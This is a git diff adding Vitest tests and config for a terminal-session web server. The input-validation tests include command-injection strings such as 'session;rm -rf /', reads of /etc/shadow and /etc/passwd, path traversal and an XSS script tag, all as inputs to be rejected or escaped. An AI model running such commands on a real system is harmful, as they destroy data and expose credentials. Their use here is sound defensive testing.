pid: 12345,
process: 'mock-process',
write: vi.fn(),
resize: vi.fn(),
kill: vi.fn(),
on: vi.fn(),
onData: vi.fn(),
onExit: vi.fn(),
})),
}));
// Only mock node-pty for unit tests, not integration tests
if (!process.env.VITEST_INTEGRATION) {
// Mock node-pty for tests since it requires native bindings
vi.mock('node-pty', () => ({
spawn: vi.fn(() => ({
pid: 12345,
process: 'mock-process',
write: vi.fn(),
resize: vi.fn(),
kill: vi.fn(),
on: vi.fn(),
onData: vi.fn(),
onExit: vi.fn(),
})),
}));
}
// Set up global test utilities
global.fetch = vi.fn();
@ -32,19 +35,19 @@ global.WebSocket = vi.fn(() => ({
// Add custom matchers if needed
expect.extend({
toBeValidSession(received) {
const pass =
const pass =
received &&
typeof received.id === 'string' &&
typeof received.command === 'string' &&
typeof received.workingDir === 'string' &&
['running', 'exited'].includes(received.status);
return {
pass,
message: () =>
message: () =>
pass
? `expected ${received} not to be a valid session`
: `expected ${received} to be a valid session`,
};
},
});
});

View file

@ -13,4 +13,4 @@ describe('Smoke Test', () => {
it('should verify test environment', () => {
expect(process.env.NODE_ENV).toBe('test');
});
});
});

View file

@ -41,13 +41,13 @@ export const closeTestServer = async (server: Server): Promise<void> => {
};
export const waitForWebSocket = (ms: number = 100): Promise<void> => {
return new Promise(resolve => setTimeout(resolve, ms));
return new Promise((resolve) => setTimeout(resolve, ms));
};
export const mockWebSocketServer = () => {
const clients = new Set();
const broadcast = vi.fn();
return {
clients,
broadcast,
@ -66,4 +66,4 @@ declare global {
toBeValidSession(): any;
}
}
}
}

View file

@ -0,0 +1,277 @@
import { describe, it, expect } from 'vitest';
// Session validation utilities that should be in the actual code
const validateSessionId = (id: any): boolean => {
return typeof id === 'string' && /^[a-f0-9-]+$/.test(id);
};
const validateCommand = (command: any): boolean => {
return (
Array.isArray(command) && command.length > 0 && command.every((arg) => typeof arg === 'string')
);
};
const validateWorkingDir = (dir: any): boolean => {
return typeof dir === 'string' && dir.length > 0 && !dir.includes('\0');
};
const sanitizePath = (path: string): string => {
// Remove null bytes and normalize
return path.replace(/\0/g, '').normalize();
};
const isValidSessionName = (name: any): boolean => {
return (
typeof name === 'string' &&
name.length > 0 &&
name.length <= 255 &&
!/[<>:"|?*\x00-\x1f]/.test(name)
);
};
describe('Session Validation', () => {
describe('validateSessionId', () => {
it('should accept valid session IDs', () => {
const validIds = [
'abc123',
'123e4567-e89b-12d3-a456-426614174000',
'session-1234',
'a1b2c3d4',
];
validIds.forEach((id) => {
expect(validateSessionId(id)).toBe(true);
});
});
it('should reject invalid session IDs', () => {
const invalidIds = [
'',
null,
undefined,
123,
'session with spaces',
'../../../etc/passwd',
'session;rm -rf /',
'session$variable',
'session`command`',
];
invalidIds.forEach((id) => {
expect(validateSessionId(id)).toBe(false);
});
});
});
describe('validateCommand', () => {
it('should accept valid commands', () => {
const validCommands = [
['bash'],
['ls', '-la'],
['node', 'app.js'],
['python', '-m', 'http.server', '8000'],
['vim', 'file.txt'],
];
validCommands.forEach((cmd) => {
expect(validateCommand(cmd)).toBe(true);
});
});
it('should reject invalid commands', () => {
const invalidCommands = [
[],
null,
undefined,
'bash',
[''],
[123],
[null],
['bash', null],
['bash', 123],
];
invalidCommands.forEach((cmd) => {
expect(validateCommand(cmd)).toBe(false);
});
});
});
describe('validateWorkingDir', () => {
it('should accept valid directories', () => {
const validDirs = [
'/home/user',
'/tmp',
'.',
'..',
'/home/user/projects/my-app',
'C:\\Users\\User\\Documents',
];
validDirs.forEach((dir) => {
expect(validateWorkingDir(dir)).toBe(true);
});
});
it('should reject invalid directories', () => {
const invalidDirs = ['', null, undefined, 123, '/path/with\0null', '\0/etc/passwd'];
invalidDirs.forEach((dir) => {
expect(validateWorkingDir(dir)).toBe(false);
});
});
});
describe('isValidSessionName', () => {
it('should accept valid session names', () => {
const validNames = [
'My Session',
'Project Build',
'test-123',
'Development Server',
'SSH to production',
];
validNames.forEach((name) => {
expect(isValidSessionName(name)).toBe(true);
});
});
it('should reject invalid session names', () => {
const invalidNames = [
'',
null,
undefined,
'a'.repeat(256),
'session<script>',
'session>redirect',
'session:colon',
'session"quote',
'session|pipe',
'session?question',
'session*asterisk',
'session\0null',
'session\x01control',
];
invalidNames.forEach((name) => {
expect(isValidSessionName(name)).toBe(false);
});
});
});
describe('sanitizePath', () => {
it('should remove null bytes', () => {
expect(sanitizePath('/path/with\0null')).toBe('/path/withnull');
expect(sanitizePath('\0/etc/passwd')).toBe('/etc/passwd');
expect(sanitizePath('file\0\0\0.txt')).toBe('file.txt');
});
it('should normalize paths', () => {
expect(sanitizePath('/path//to///file')).toBe('/path//to///file');
expect(sanitizePath('café.txt')).toBe('café.txt');
});
it('should handle clean paths', () => {
expect(sanitizePath('/home/user')).toBe('/home/user');
expect(sanitizePath('file.txt')).toBe('file.txt');
});
});
describe('Environment Variable Validation', () => {
const isValidEnvVar = (env: any): boolean => {
if (typeof env !== 'object' || env === null) return false;
for (const [key, value] of Object.entries(env)) {
// Key must be valid env var name
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) return false;
// Value must be string
if (typeof value !== 'string') return false;
// No null bytes
if (value.includes('\0')) return false;
}
return true;
};
it('should accept valid environment variables', () => {
const validEnvs = [
{ PATH: '/usr/bin:/usr/local/bin' },
{ NODE_ENV: 'production' },
{ HOME: '/home/user', SHELL: '/bin/bash' },
{ API_KEY: 'secret123', PORT: '3000' },
];
validEnvs.forEach((env) => {
expect(isValidEnvVar(env)).toBe(true);
});
});
it('should reject invalid environment variables', () => {
const invalidEnvs = [
null,
undefined,
'not an object',
{ '': 'empty key' },
{ '123start': 'number start' },
{ 'has-dash': 'invalid char' },
{ 'has space': 'invalid char' },
{ valid: 123 },
{ valid: null },
{ valid: undefined },
{ valid: 'has\0null' },
];
invalidEnvs.forEach((env) => {
expect(isValidEnvVar(env)).toBe(false);
});
});
});
describe('Command Injection Prevention', () => {
const hasDangerousPatterns = (input: string): boolean => {
const dangerous = [
/[;&|`$(){}[\]<>]/, // Shell metacharacters
/\.\./, // Directory traversal
/\0/, // Null bytes
/\n|\r/, // Newlines
];
return dangerous.some((pattern) => pattern.test(input));
};
it('should detect dangerous patterns', () => {
const dangerous = [
'command; rm -rf /',
'command && evil',
'command || evil',
'command | evil',
'command `evil`',
'command $(evil)',
'command > /etc/passwd',
'command < /etc/shadow',
'../../../etc/passwd',
'file\0.txt',
'multi\nline',
];
dangerous.forEach((input) => {
expect(hasDangerousPatterns(input)).toBe(true);
});
});
it('should allow safe patterns', () => {
const safe = [
'normal-file.txt',
'my_session_123',
'/home/user/project',
'Project Name',
'test@example.com',
];
safe.forEach((input) => {
expect(hasDangerousPatterns(input)).toBe(false);
});
});
});
});

View file

@ -0,0 +1,168 @@
import { describe, it, expect } from 'vitest';
import { UrlHighlighter } from '../../client/utils/url-highlighter';
import { CastConverter } from '../../client/utils/cast-converter';
describe('Utility Functions', () => {
describe('UrlHighlighter', () => {
it('should detect http URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Check out http://example.com for more info';
const result = highlighter.highlight(text);
expect(result).toContain('<a');
expect(result).toContain('href="http://example.com"');
expect(result).toContain('http://example.com</a>');
});
it('should detect https URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Secure site: https://secure.example.com/path';
const result = highlighter.highlight(text);
expect(result).toContain('href="https://secure.example.com/path"');
});
it('should handle multiple URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Visit http://site1.com and https://site2.com';
const result = highlighter.highlight(text);
const matches = result.match(/<a[^>]*>/g);
expect(matches).toHaveLength(2);
});
it('should preserve text around URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Before http://example.com after';
const result = highlighter.highlight(text);
expect(result).toMatch(/^Before <a[^>]*>http:\/\/example\.com<\/a> after$/);
});
it('should handle text without URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'No URLs here, just plain text';
const result = highlighter.highlight(text);
expect(result).toBe(text);
});
it('should escape HTML in non-URL text', () => {
const highlighter = new UrlHighlighter();
const text = '<script>alert("xss")</script> http://safe.com';
const result = highlighter.highlight(text);
expect(result).not.toContain('<script>');
expect(result).toContain('&lt;script&gt;');
expect(result).toContain('<a');
});
it('should handle localhost URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Local dev: http://localhost:3000/api';
const result = highlighter.highlight(text);
expect(result).toContain('href="http://localhost:3000/api"');
});
it('should handle IP address URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Server at http://192.168.1.1:8080';
const result = highlighter.highlight(text);
expect(result).toContain('href="http://192.168.1.1:8080"');
});
});
describe('CastConverter', () => {
it('should create basic cast structure', () => {
const converter = new CastConverter(80, 24);
const cast = converter.getCast();
expect(cast.version).toBe(2);
expect(cast.width).toBe(80);
expect(cast.height).toBe(24);
expect(cast.timestamp).toBeGreaterThan(0);
expect(Array.isArray(cast.events)).toBe(true);
});
it('should add output events', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Hello World\n', 1.0);
const cast = converter.getCast();
expect(cast.events).toHaveLength(1);
expect(cast.events[0]).toEqual([1.0, 'o', 'Hello World\n']);
});
it('should handle multiple events in order', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('First\n', 0.5);
converter.addOutput('Second\n', 1.0);
converter.addOutput('Third\n', 1.5);
const cast = converter.getCast();
expect(cast.events).toHaveLength(3);
expect(cast.events[0][0]).toBe(0.5);
expect(cast.events[1][0]).toBe(1.0);
expect(cast.events[2][0]).toBe(1.5);
});
it('should handle empty output', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('', 1.0);
const cast = converter.getCast();
expect(cast.events).toHaveLength(1);
expect(cast.events[0][2]).toBe('');
});
it('should handle special characters', () => {
const converter = new CastConverter(80, 24);
const specialChars = '\x1b[31mRed Text\x1b[0m\n';
converter.addOutput(specialChars, 1.0);
const cast = converter.getCast();
expect(cast.events[0][2]).toBe(specialChars);
});
it('should export valid JSON', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Test\n', 1.0);
const json = converter.toJSON();
const parsed = JSON.parse(json);
expect(parsed.version).toBe(2);
expect(parsed.width).toBe(80);
expect(parsed.height).toBe(24);
expect(parsed.events).toHaveLength(1);
});
it('should set custom environment', () => {
const converter = new CastConverter(80, 24);
const env = { SHELL: '/bin/bash', TERM: 'xterm-256color' };
converter.setEnvironment(env);
const cast = converter.getCast();
expect(cast.env).toEqual(env);
});
it('should set custom title', () => {
const converter = new CastConverter(80, 24);
converter.setTitle('My Recording');
const cast = converter.getCast();
expect(cast.title).toBe('My Recording');
});
it('should handle timing precision', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Output', 1.123456789);
const cast = converter.getCast();
// Should maintain precision to at least 6 decimal places
expect(cast.events[0][0]).toBeCloseTo(1.123456, 6);
});
});
});

View file

@ -33,16 +33,16 @@ describe('WebSocket Connection', () => {
beforeEach(async () => {
vi.clearAllMocks();
// Set up mock spawn
mockSpawn = vi.mocked(spawn);
// Create mock child process for stream command
mockChildProcess = new EventEmitter();
mockChildProcess.stdout = new EventEmitter();
mockChildProcess.stderr = new EventEmitter();
mockChildProcess.kill = vi.fn();
// Mock tty-fwd execution
const mockTtyFwdProcess = {
stdout: {
@ -58,14 +58,14 @@ describe('WebSocket Connection', () => {
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
// Import and set up server
const serverModule = await import('../../server');
server = serverModule.server;
wss = serverModule.wss;
// Get dynamic port
await new Promise<void>((resolve) => {
server.listen(0, () => {
@ -83,54 +83,54 @@ describe('WebSocket Connection', () => {
client.close();
}
});
// Close server
await new Promise<void>((resolve) => {
server.close(() => resolve());
});
vi.restoreAllMocks();
});
describe('WebSocket Connection Management', () => {
it('should accept WebSocket connections', async () => {
const ws = new WebSocket(serverUrl);
await new Promise<void>((resolve, reject) => {
ws.on('open', () => resolve());
ws.on('error', reject);
});
expect(ws.readyState).toBe(WebSocket.OPEN);
expect(wss.clients.size).toBe(1);
ws.close();
});
it('should handle multiple WebSocket connections', async () => {
const ws1 = new WebSocket(serverUrl);
const ws2 = new WebSocket(serverUrl);
await Promise.all([
new Promise<void>((resolve) => ws1.on('open', resolve)),
new Promise<void>((resolve) => ws2.on('open', resolve)),
]);
expect(wss.clients.size).toBe(2);
ws1.close();
ws2.close();
});
it('should remove client on disconnect', async () => {
const ws = new WebSocket(serverUrl);
await new Promise<void>((resolve) => ws.on('open', resolve));
expect(wss.clients.size).toBe(1);
ws.close();
await waitForWebSocket(50);
expect(wss.clients.size).toBe(0);
});
});
@ -154,85 +154,93 @@ describe('WebSocket Connection', () => {
const ws = new WebSocket(serverUrl);
const messages: any[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => ws.on('open', resolve));
// Subscribe to terminal
ws.send(JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
}));
ws.send(
JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
})
);
// Emit some data from the mock process
await waitForWebSocket(50);
mockChildProcess.stdout.emit('data', Buffer.from('Hello from terminal\n'));
await waitForWebSocket(50);
// Check that we received the terminal output
const terminalMessages = messages.filter(m => m.type === 'terminal-output');
const terminalMessages = messages.filter((m) => m.type === 'terminal-output');
expect(terminalMessages.length).toBeGreaterThan(0);
expect(terminalMessages[0]).toMatchObject({
type: 'terminal-output',
sessionId: 'test-session-123',
data: expect.stringContaining('Hello from terminal'),
});
ws.close();
});
it('should handle unsubscribe from terminal', async () => {
const ws = new WebSocket(serverUrl);
await new Promise<void>((resolve) => ws.on('open', resolve));
// Subscribe first
ws.send(JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
}));
ws.send(
JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
})
);
await waitForWebSocket(50);
// Then unsubscribe
ws.send(JSON.stringify({
type: 'unsubscribe',
sessionId: 'test-session-123',
}));
ws.send(
JSON.stringify({
type: 'unsubscribe',
sessionId: 'test-session-123',
})
);
await waitForWebSocket(50);
// Verify process was killed
expect(mockChildProcess.kill).toHaveBeenCalled();
ws.close();
});
it('should handle terminal resize events', async () => {
const ws = new WebSocket(serverUrl);
await new Promise<void>((resolve) => ws.on('open', resolve));
// Send resize event
ws.send(JSON.stringify({
type: 'resize',
sessionId: 'test-session-123',
cols: 120,
rows: 40,
}));
ws.send(
JSON.stringify({
type: 'resize',
sessionId: 'test-session-123',
cols: 120,
rows: 40,
})
);
await waitForWebSocket(50);
// Verify tty-fwd resize was called
expect(mockSpawn).toHaveBeenCalledWith(
expect.any(String),
expect.arrayContaining(['resize', 'test-session-123', '120', '40'])
);
ws.close();
});
});
@ -241,48 +249,50 @@ describe('WebSocket Connection', () => {
it('should handle invalid message format', async () => {
const ws = new WebSocket(serverUrl);
const messages: any[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => ws.on('open', resolve));
// Send invalid JSON
ws.send('invalid json{');
await waitForWebSocket(50);
// Should receive error message
const errorMessages = messages.filter(m => m.type === 'error');
const errorMessages = messages.filter((m) => m.type === 'error');
expect(errorMessages.length).toBe(1);
expect(errorMessages[0].error).toContain('Invalid message format');
ws.close();
});
it('should handle missing sessionId in subscribe', async () => {
const ws = new WebSocket(serverUrl);
const messages: any[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => ws.on('open', resolve));
// Send subscribe without sessionId
ws.send(JSON.stringify({
type: 'subscribe',
}));
ws.send(
JSON.stringify({
type: 'subscribe',
})
);
await waitForWebSocket(50);
// Should receive error message
const errorMessages = messages.filter(m => m.type === 'error');
const errorMessages = messages.filter((m) => m.type === 'error');
expect(errorMessages.length).toBe(1);
expect(errorMessages[0].error).toContain('Session ID required');
ws.close();
});
@ -294,12 +304,12 @@ describe('WebSocket Connection', () => {
errorProcess.stdout = new EventEmitter();
errorProcess.stderr = new EventEmitter();
errorProcess.kill = vi.fn();
// Emit error
setTimeout(() => {
errorProcess.emit('error', new Error('Stream failed'));
}, 10);
return errorProcess;
}
return mockChildProcess;
@ -307,26 +317,28 @@ describe('WebSocket Connection', () => {
const ws = new WebSocket(serverUrl);
const messages: any[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => ws.on('open', resolve));
// Subscribe to terminal
ws.send(JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
}));
ws.send(
JSON.stringify({
type: 'subscribe',
sessionId: 'test-session-123',
})
);
await waitForWebSocket(100);
// Should receive error message
const errorMessages = messages.filter(m => m.type === 'error');
const errorMessages = messages.filter((m) => m.type === 'error');
expect(errorMessages.length).toBeGreaterThan(0);
expect(errorMessages[0].error).toContain('Failed to start stream');
ws.close();
});
});
@ -335,35 +347,35 @@ describe('WebSocket Connection', () => {
it('should broadcast session updates to all clients', async () => {
const ws1 = new WebSocket(serverUrl);
const ws2 = new WebSocket(serverUrl);
const messages1: any[] = [];
const messages2: any[] = [];
ws1.on('message', (data) => messages1.push(JSON.parse(data.toString())));
ws2.on('message', (data) => messages2.push(JSON.parse(data.toString())));
await Promise.all([
new Promise<void>((resolve) => ws1.on('open', resolve)),
new Promise<void>((resolve) => ws2.on('open', resolve)),
]);
// Trigger a session update by making an API request
const fetch = (await import('node-fetch')).default;
await fetch(`http://localhost:${server.address().port}/api/sessions`, {
method: 'GET',
});
await waitForWebSocket(100);
// Both clients should receive session update
const updates1 = messages1.filter(m => m.type === 'sessions-updated');
const updates2 = messages2.filter(m => m.type === 'sessions-updated');
const updates1 = messages1.filter((m) => m.type === 'sessions-updated');
const updates2 = messages2.filter((m) => m.type === 'sessions-updated');
expect(updates1.length).toBeGreaterThan(0);
expect(updates2.length).toBeGreaterThan(0);
ws1.close();
ws2.close();
});
});
});
});

View file

@ -7,7 +7,8 @@ export default defineConfig({
environment: 'node',
setupFiles: ['./src/test/setup.ts'],
coverage: {
reporter: ['text', 'json', 'html'],
provider: 'v8',
reporter: ['text', 'json', 'html', 'lcov'],
exclude: [
'node_modules/',
'src/test/',
@ -15,8 +16,22 @@ export default defineConfig({
'public/',
'*.config.ts',
'*.config.js',
'**/*.test.ts',
'**/*.spec.ts',
],
include: [
'src/**/*.ts',
'src/**/*.js',
],
all: true,
lines: 80,
functions: 80,
branches: 80,
statements: 80,
},
testTimeout: 10000,
// Separate test suites
includeSource: ['src/**/*.{js,ts}'],
},
resolve: {
alias: {

View file

@ -0,0 +1,42 @@
import { defineConfig } from 'vitest/config';
import path from 'path';
export default defineConfig({
test: {
globals: true,
environment: 'node',
setupFiles: ['./src/test/setup.integration.ts'],
include: ['src/test/integration/**/*.test.ts'],
coverage: {
provider: 'v8',
reporter: ['text', 'json', 'html', 'lcov'],
exclude: [
'node_modules/',
'src/test/',
'dist/',
'public/',
'*.config.ts',
'*.config.js',
'**/*.test.ts',
'**/*.spec.ts',
],
include: [
'src/**/*.ts',
'src/**/*.js',
],
all: true,
},
testTimeout: 30000, // Integration tests may take longer
pool: 'forks', // Use separate processes for integration tests
poolOptions: {
forks: {
singleFork: true, // Run tests sequentially to avoid port conflicts
},
},
},
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
},
},
});